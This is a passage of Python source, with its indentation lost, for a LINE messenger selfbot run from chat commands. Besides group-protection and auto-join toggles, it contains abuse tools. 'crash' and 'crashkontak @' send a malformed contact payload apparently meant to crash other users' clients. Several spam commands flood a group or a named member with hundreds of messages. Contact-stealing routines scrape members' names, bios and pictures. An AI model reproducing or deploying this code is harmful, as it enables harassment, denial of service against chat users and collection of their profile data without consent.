# copy = msg.contentMetadata["mid"]
# groups = kr1.getGroup(msg.to)
# pending = groups.invitee
# targets = []
# for s in groups.members:
# if _name in s.displayName:
# print "[Target] Stealed"
# break
# else:
# targets.append(copy)
# if targets == []:
# pass
# else:
# for target in targets:
# try:
# kr1.findAndAddContactsByMid(target)
# contact = kr1.getContact(target)
# cu = kr1.channel.getCover(target)
# path = str(cu)
# image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
# kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + msg.contentMetadata["mid"] + "\n\nBio :\n" + contact.statusMessage)
# kr1.sendText(msg.to,"Profile Picture " + contact.displayName)
# kr1.sendImageWithURL(msg.to,image)
# kr1.sendText(msg.to,"Cover " + contact.displayName)
# kr1.sendImageWithURL(msg.to,path)
# wait['steal'] = False
# break
# except:
# pass
if wait['alwayRead'] == True:
if msg.toType == 0:
kr1.sendChatChecked(msg.from_,msg.id)
else:
kr1.sendChatChecked(msg.to,msg.id)
if op.type == 26:
msg = op.message
if msg.contentType == 13:
if wait["wblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
kr1.sendText(msg.to,"In Blacklist")
wait["wblack"] = False
else:
wait["commentBlack"][msg.contentMetadata["mid"]] = True
wait["wblack"] = False
kr1.sendText(msg.to,"Nothing")
elif wait["dblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
del wait["commentBlack"][msg.contentMetadata["mid"]]
kr1.sendText(msg.to,"Done")
wait["dblack"] = False
else:
wait["dblack"] = False
kr1.sendText(msg.to,"Not in Blacklist")
elif wait["wblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
kr1.sendText(msg.to,"In Blacklist")
wait["wblacklist"] = False
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = False
kr1.sendText(msg.to,"Done")
elif wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
kr1.sendText(msg.to,"Done")
wait["dblacklist"] = False
else:
wait["dblacklist"] = False
kr1.sendText(msg.to,"Done")
elif wait['contact'] == True:
msg.contentType = 0
kr1.sendText(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = kr1.getContact(msg.contentMetadata["mid"])
try:
cu = kr1.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
kr1.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
else:
contact = kr1.getContact(msg.contentMetadata["mid"])
try:
cu = kr1.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
kr1.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
elif msg.contentType == 16:
if wait['timeline'] == True:
msg.contentType = 0
if wait["lang"] == "JP":
msg.text = "menempatkan URL\n" + msg.contentMetadata["postEndUrl"]
else:
msg.text = msg.contentMetadata["postEndUrl"]
kr1.sendText(msg.to,msg.text)
elif msg.text is None:
return
elif msg.text.lower() == 'Help':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helpmsg)
else:
kr1.sendText(msg.to,helpmsg)
elif msg.text.lower() == 'keybot':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,keymsg)
else:
kr1.sendText(msg.to,keymsg)
elif msg.text.lower() == 'keypro':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helppro)
else:
kr1.sendText(msg.to,helppro)
elif msg.text.lower() == 'keyself':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helpself)
else:
kr1.sendText(msg.to,helpself)
elif msg.text.lower() == 'keygrup':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helpgrup)
else:
kr1.sendText(msg.to,helpgrup)
elif msg.text.lower() == 'keyset':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helpset)
else:
kr1.sendText(msg.to,helpset)
elif msg.text.lower() == 'keytran':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helptranslate)
else:
kr1.sendText(msg.to,helptranslate)
elif msg.text.lower() == 'keyrhs':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,helprhs)
else:
kr1.sendText(msg.to,helprhs)
elif msg.text in ["Sp","Speed","speed"]:
if msg.from_ in admin:
start = time.time()
kr1.sendText(msg.to, "กรุณารอสักครู่.....")
elapsed_time = time.time() - start
kr1.sendText(msg.to, "%sseconds" % (elapsed_time))
elif msg.text.lower() == 'crash':
if msg.from_ in admin:
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18',"}
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr2.sendMessage(msg)
kr2.sendMessage(msg)
elif msg.text.lower() == 'me':
msg.contentType = 13
msg.contentMetadata = {'mid': mid}
kr1.sendMessage(msg)
elif "facebook " in msg.text:
if msg.from_ in admin:
a = msg.text.replace("facebook ","")
b = urllib.quote(a)
kr1.sendText(msg.to,"「 Mencari 」\n" "Type:Mencari Info\nStatus: Proses")
kr1.sendText(msg.to, "https://www.facebook.com" + b)
kr1.sendText(msg.to,"「 Mencari 」\n" "Type:Mencari Info\nStatus: Sukses")
#======================== FOR COMMAND MODE ON STARTING ==========================#
elif msg.text.lower() == 'mode on':
if msg.from_ in admin:
if wait["protect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protecion Already On")
else:
kr1.sendText(msg.to,"Protecion Already On")
else:
wait["protect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protecion Already On")
else:
kr1.sendText(msg.to,"Protecion Already On")
if wait["linkprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already On")
else:
kr1.sendText(msg.to,"Protection Qr already On")
else:
wait["linkprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already On")
else:
kr1.sendText(msg.to,"Protection Qr already On")
if wait["inviteprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already On")
else:
kr1.sendText(msg.to,"Protection Invite already On")
else:
wait["inviteprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ρяσтє¢тισи ιиνιтє ѕєт тσ σи")
else:
kr1.sendText(msg.to,"ρяσтє¢тισи ιиνιтє αℓяєα∂у σи")
if wait["cancelprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи αℓяєα∂у σи")
else:
wait["cancelprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи αℓяєα∂у σи")
#======================== FOR COMMAND MODE OFF STARTING ==========================#
elif msg.text.lower() == 'mode off':
if msg.from_ in admin:
if wait["protect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection already Off")
else:
kr1.sendText(msg.to,"Protection already Off")
else:
wait["protect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ρяσтє¢тισи ѕєт тσ σff")
else:
kr1.sendText(msg.to,"ρяσтє¢тισи αℓяєα∂у σff")
if wait["linkprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already off")
else:
kr1.sendText(msg.to,"Protection Qr already off")
else:
wait["linkprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already Off")
else:
kr1.sendText(msg.to,"Protection Qr already Off")
if wait["inviteprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already Off")
else:
kr1.sendText(msg.to,"Protection Invite already Off")
else:
wait["inviteprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already Off")
else:
kr1.sendText(msg.to,"Protection Invite already Off")
if wait["cancelprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
wait["cancelprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
kr1.sendText(msg.to,"Protection Cancel already Off")
#========================== FOR COMMAND BOT STARTING =============================#
elif msg.text.lower() == 'contact on':
if msg.from_ in admin:
if wait['contact'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ ση")
else:
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ ση")
else:
wait['contact'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ ση")
else:
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ ση")
elif msg.text.lower() == 'contact off':
if msg.from_ in admin:
if wait['contact'] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ σƒƒ")
else:
kr1.sendText(msg.to,"ɕσηϯαɕϯ αʆɾεαδψ σƒƒ")
else:
wait['contact'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ɕσηϯαɕϯ ςεϯ ϯσ σƒƒ")
else:
kr1.sendText(msg.to,"ɕσηϯαɕϯ αʆɾεαδψ σƒƒ")
elif msg.text.lower() == 'protect on':
if msg.from_ in admin:
if wait["protect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protecion Already On")
else:
kr1.sendText(msg.to,"Protecion Already On")
else:
wait["protect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protecion Already On")
else:
kr1.sendText(msg.to,"Protecion Already On")
elif msg.text.lower() == 'qr on':
if msg.from_ in admin:
if wait["linkprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already On")
else:
kr1.sendText(msg.to,"Protection Qr already On")
else:
wait["linkprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already On")
else:
kr1.sendText(msg.to,"Protection Qr already On")
elif msg.text.lower() == 'invite on':
if msg.from_ in admin:
if wait["inviteprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already On")
else:
kr1.sendText(msg.to,"Protection Invite already On")
else:
wait["inviteprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ρяσтє¢тισи ιиνιтє ѕєт тσ σи")
else:
kr1.sendText(msg.to,"ρяσтє¢тισи ιиνιтє αℓяєα∂у σи")
elif msg.text.lower() == 'cancel on':
if msg.from_ in admin:
if wait["cancelprotect"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи αℓяєα∂у σи")
else:
wait["cancelprotect"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"¢αи¢єℓ ρяσтє¢тισи αℓяєα∂у σи")
elif msg.text.lower() == 'autojoin on':
if msg.from_ in admin:
if wait['autoJoin'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"αυтσʝσιи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"αυтσʝσιи αℓяєα∂у σи")
else:
wait['autoJoin'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"αυтσʝσιи ѕєт тσ σи")
else:
kr1.sendText(msg.to,"αυтσʝσιи αℓяєα∂у σи")
elif msg.text.lower() == 'autojoin off':
if msg.from_ in admin:
if wait['autoJoin'] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"αυтσʝσιи ѕєт тσ σff")
else:
kr1.sendText(msg.to,"αυтσʝσιи αℓяєα∂у σff")
else:
wait['autoJoin'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"αυтσʝσιи ѕєт тσ σff")
else:
kr1.sendText(msg.to,"αυтσʝσιи αℓяєα∂у σff")
elif msg.text.lower() == 'protect off':
if msg.from_ in admin:
if wait["protect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection already Off")
else:
kr1.sendText(msg.to,"Protection already Off")
else:
wait["protect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"ρяσтє¢тισи ѕєт тσ σff")
else:
kr1.sendText(msg.to,"ρяσтє¢тισи αℓяєα∂у σff")
elif msg.text.lower() == 'qr off':
if msg.from_ in admin:
if wait["linkprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already off")
else:
kr1.sendText(msg.to,"Protection Qr already off")
else:
wait["linkprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Qr already Off")
else:
kr1.sendText(msg.to,"Protection Qr already Off")
elif msg.text.lower() == 'invit off':
if msg.from_ in admin:
if wait["inviteprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already Off")
else:
kr1.sendText(msg.to,"Protection Invite already Off")
else:
wait["inviteprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Invite already Off")
else:
kr1.sendText(msg.to,"Protection Invite already Off")
elif msg.text.lower() == 'cancel off':
if msg.from_ in admin:
if wait["cancelprotect"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
wait["cancelprotect"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Protection Cancel already Off")
else:
kr1.sendText(msg.to,"Protection Cancel already Off")
elif "Grup cancel:" in msg.text:
if msg.from_ in admin:
try:
strnum = msg.text.replace("Grup cancel:","")
if strnum == "off":
wait['autoCancel']["on"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Itu off undangan ditolak??\nSilakan kirim dengan menentukan jumlah orang ketika Anda menghidupkan")
else:
kr1.sendText(msg.to,"Off undangan ditolak??Sebutkan jumlah terbuka ketika Anda ingin mengirim")
else:
num = int(strnum)
wait['autoCancel']["on"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,strnum + "Kelompok berikut yang diundang akan ditolak secara otomatis")
else:
kr1.sendText(msg.to,strnum + "The team declined to create the following automatic invitation")
except:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Nilai tidak benar")
else:
kr1.sendText(msg.to,"Weird value")
elif msg.text.lower() == 'autoleave on':
if msg.from_ in admin:
if wait['leaveRoom'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto Leave room set to on")
else:
kr1.sendText(msg.to,"Auto Leave room already on")
else:
wait['leaveRoom'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto Leave room set to on")
else:
kr1.sendText(msg.to,"Auto Leave room already on")
elif msg.text.lower() == 'autoleave off':
if msg.from_ in admin:
if wait['leaveRoom'] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto Leave room set to off")
else:
kr1.sendText(msg.to,"Auto Leave room already off")
else:
wait['leaveRoom'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto Leave room set to off")
else:
kr1.sendText(msg.to,"Auto Leave room already off")
elif msg.text.lower() == 'share on':
if msg.from_ in admin:
if wait['timeline'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Share set to on")
else:
kr1.sendText(msg.to,"Share already on")
else:
wait['timeline'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Share set to on")
else:
kr1.sendText(msg.to,"Share already on")
elif msg.text.lower() == 'share off':
if msg.from_ in admin:
if wait['timeline'] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Share set to off")
else:
kr1.sendText(msg.to,"Share already off")
else:
wait['timeline'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Share set to off")
else:
kr1.sendText(msg.to,"Share already off")
elif msg.text.lower() == "status":
if msg.from_ in admin:
md = """╔═════════════\n"""
if wait['contact'] == True: md+="╠❂➣Contact:on [✅]\n"
else: md+="╠❂➣Contact:off [❌]\n"
if wait['autoJoin'] == True: md+="╠❂➣Auto Join:on [✅]\n"
else: md +="╠❂➣Auto Join:off [❌]\n"
if wait['autoCancel']["on"] == True:md+="╠❂➣Auto cancel:" + str(wait['autoCancel']["members"]) + "[✅]\n"
else: md+= "╠❂➣Group cancel:off [❌]\n"
if wait['leaveRoom'] == True: md+="╠❂➣Auto leave:on [✅]\n"
else: md+="╠❂➣Auto leave:off [❌]\n"
if wait['timeline'] == True: md+="╠❂➣Share:on [✅]\n"
else:md+="╠❂➣Share:off [❌]\n"
if wait['autoAdd'] == True: md+="╠❂➣Auto add:on [✅]\n"
else:md+="╠❂➣Auto add:off [❌]\n"
if wait["protect"] == True: md+="╠❂➣Protect:on [✅]\n"
else:md+="╠❂➣Protect:off [❌]\n"
if wait["linkprotect"] == True: md+="╠❂➣Link Protect:on [✅]\n"
else:md+="╠❂➣Link Protect:off [❌]\n"
if wait["inviteprotect"] == True: md+="╠❂➣Invitation Protect:on [✅]\n"
else:md+="╠❂➣Invitation Protect:off [❌]\n"
if wait["cancelprotect"] == True: md+="╠❂➣Cancel Protect:on [✅]\n"
else:md+="╠❂➣Cancel Protect:off [❌]\n╚═════════════"
kr1.sendText(msg.to,md)
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18"}
kr1.sendMessage(msg)
elif cms(msg.text,["creator","Creator"]):
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18"}
kr1.sendMessage(msg)
kr1.sendText(msg.to,'❂➣ Creator yang manis kalem ')
elif msg.text.lower() == 'autoadd on':
if msg.from_ in admin:
if wait['autoAdd'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto add set to on")
else:
kr1.sendText(msg.to,"Auto add already on")
else:
wait['autoAdd'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto add set to on")
else:
kr1.sendText(msg.to,"Auto add already on")
elif msg.text.lower() == 'autoadd off':
if msg.from_ in admin:
if wait['autoAdd'] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto add set to off")
else:
kr1.sendText(msg.to,"Auto add already off")
else:
wait['autoAdd'] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Auto add set to off")
else:
kr1.sendText(msg.to,"Auto add already off")
elif "Pesan set:" in msg.text:
if msg.from_ in admin:
wait['message'] = msg.text.replace("Pesan set:","")
kr1.sendText(msg.to,"We changed the message")
elif msg.text.lower() == 'pesan cek':
if msg.from_ in admin:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Pesan tambahan otomatis telah ditetapkan sebagai berikut \n\n" + wait['message'])
else:
kr1.sendText(msg.to,"Pesan tambahan otomatis telah ditetapkan sebagai berikut \n\n" + wait['message'])
elif "Coment Set:" in msg.text:
if msg.from_ in admin:
c = msg.text.replace("Coment Set:","")
if c in [""," ","\n",None]:
kr1.sendText(msg.to,"Merupakan string yang tidak bisa diubah")
else:
wait["comment"] = c
kr1.sendText(msg.to,"Ini telah diubah\n\n" + c)
elif msg.text in ["Comment on"]:
if msg.from_ in admin:
if wait["commentOn"] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Aku berada di")
else:
kr1.sendText(msg.to,"To open")
else:
wait["commentOn"] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Comment Actived")
else:
kr1.sendText(msg.to,"Comment Has Been Active")
elif msg.text in ["Coment off"]:
if msg.from_ in admin:
if wait["commentOn"] == False:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Hal ini sudah off")
else:
kr1.sendText(msg.to,"It is already turned off")
else:
wait["commentOn"] = False
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Off")
else:
kr1.sendText(msg.to,"To turn off")
elif msg.text in ["Com","Comment"]:
if msg.from_ in admin:
kr1.sendText(msg.to,"Auto komentar saat ini telah ditetapkan sebagai berikut:??\n\n" + str(wait["comment"]))
elif msg.text in ["Com Bl"]:
if msg.from_ in admin:
wait["wblack"] = True
kr1.sendText(msg.to,"Please send contacts from the person you want to add to the blacklist")
elif msg.text in ["Com hapus Bl"]:
if msg.from_ in admin:
wait["dblack"] = True
kr1.sendText(msg.to,"Please send contacts from the person you want to add from the blacklist")
elif msg.text in ["Com Bl cek"]:
if msg.from_ in admin:
if wait["commentBlack"] == {}:
kr1.sendText(msg.to,"Nothing in the blacklist")
else:
kr1.sendText(msg.to,"The following is a blacklist")
mc = ""
for mi_d in wait["commentBlack"]:
mc += "・" +kr1.getContact(mi_d).displayName + "\n"
kr1.sendText(msg.to,mc)
elif msg.text.lower() == 'jam on':
if msg.from_ in admin:
if wait["clock"] == True:
kr1.sendText(msg.to,"Jam already on")
else:
wait["clock"] = True
now2 = datetime.now()
nowT = datetime.strftime(now2,"?%H:%M?")
profile = kr1.getProfile()
profile.displayName = wait["cName"] + nowT
kr1.updateProfile(profile)
kr1.sendText(msg.to,"Jam set on")
elif msg.text.lower() == 'jam off':
if msg.from_ in admin:
if wait["clock"] == False:
kr1.sendText(msg.to,"Jam already off")
else:
wait["clock"] = False
kr1.sendText(msg.to,"Jam set off")
elif "Jam say:" in msg.text:
if msg.from_ in admin:
n = msg.text.replace("Jam say:","")
if len(n.decode("utf-8")) > 30:
kr1.sendText(msg.to,"terlalu lama")
else:
wait["cName"] = n
kr1.sendText(msg.to,"Nama Jam Berubah menjadi:" + n)
elif msg.text.lower() == 'update':
if msg.from_ in admin:
if wait["clock"] == True:
now2 = datetime.now()
nowT = datetime.strftime(now2,"?%H:%M?")
profile = kr1.getProfile()
profile.displayName = wait["cName"] + nowT
kr1.updateProfile(profile)
kr1.sendText(msg.to,"Diperbarui")
else:
kr1.sendText(msg.to,"Silahkan Aktifkan Jam")
elif "Image " in msg.text:
if msg.from_ in admin:
search = msg.text.replace("Image ","")
url = 'https://www.google.com/search?espv=2&biw=1366&bih=667&tbm=isch&oq=kuc&aqs=mobile-gws-lite.0.0l5&q=' + search
raw_html = (download_page(url))
items = []
items = items + (_images_get_all_items(raw_html))
path = random.choice(items)
print path
try:
kr1.sendImageWithURL(msg.to,path)
except:
pass
#========================== FOR COMMAND BOT FINISHED =============================#
elif "Spam change:" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
wait['spam'] = msg.text.replace("Spam change:","")
kr1.sendText(msg.to,"spam changed")
elif "Spam add:" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
wait['spam'] = msg.text.replace("Spam add:","")
if wait["lang"] == "JP":
kr1.sendText(msg.to,"spam changed")
else:
kr1.sendText(msg.to,"Done")
elif "Spam:" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
strnum = msg.text.replace("Spam:","")
num = int(strnum)
for var in range(0,num):
kr1.sendText(msg.to, wait['spam'])
#=====================================
elif "Spam " in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
bctxt = msg.text.replace("Spam ", "")
t = kr1.getAllContactIds()
t = 500
while(t):
kr1.sendText(msg.to, (bctxt))
t-=1
#==============================================
elif "Spamcontact @" in msg.text:
if msg.from_ in owner:
_name = msg.text.replace("Spamcontact @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(g.mid,'spam')
kr1.sendText(msg.to, "Selesai di Spam")
print " Spammed !"
elif "crashkontak @" in msg.text:
if msg.from_ in owner:
_name = msg.text.replace("crashkontak @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
xname = g.displayName + g.mid
xlen = str(len(xname)+1)
msg.contentType = 13
msg.text = 'mid'+xname+''
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18',"}
kr1.sendMessage(msg)
kr1.sendText("crash kontak selesai")
print " Spammed crash !"
#==============================================================================#
elif msg.text in ["Invite"]:
if msg.from_ in admin:
wait["invite"] = True
kr1.sendText(msg.to,"Kirim Contact")
elif msg.text in ["Jepit"]:
if msg.from_ in admin:
wait["invite"] = True
kr1.sendText(msg.to,"Kirim Contact")
elif msg.text in ["Undang"]:
if msg.from_ in admin:
wait["winvite"] = True
kr2.sendText(msg.to,"Kirim Contact")
elif msg.text in ["Steal contact"]:
if msg.from_ in admin:
wait['contact'] = True
kr1.sendText(msg.to,"Send Contact")
elif msg.text in ["Like:me","Like me"]: #Semua Bot Ngelike Status Akun Utama
if msg.from_ in admin:
print "[Command]Like executed"
kr1.sendText(msg.to,"Like Status Owner")
try:
likeme()
except:
pass
elif msg.text in ["Like:friend","Like friend"]: #Semua Bot Ngelike Status Teman
if msg.from_ in admin:
print "[Command]Like executed"
kr1.sendText(msg.to,"Like Status Teman")
try:
likefriend()
except:
pass
elif msg.text in ["Like:on","Like on"]:
if msg.from_ in admin:
if wait['likeOn'] == True:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Done")
else:
wait['likeOn'] = True
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Already")
elif msg.text in ["Like off","Like:off"]:
if msg.from_ in admin:
if wait['likeOn'] == False:
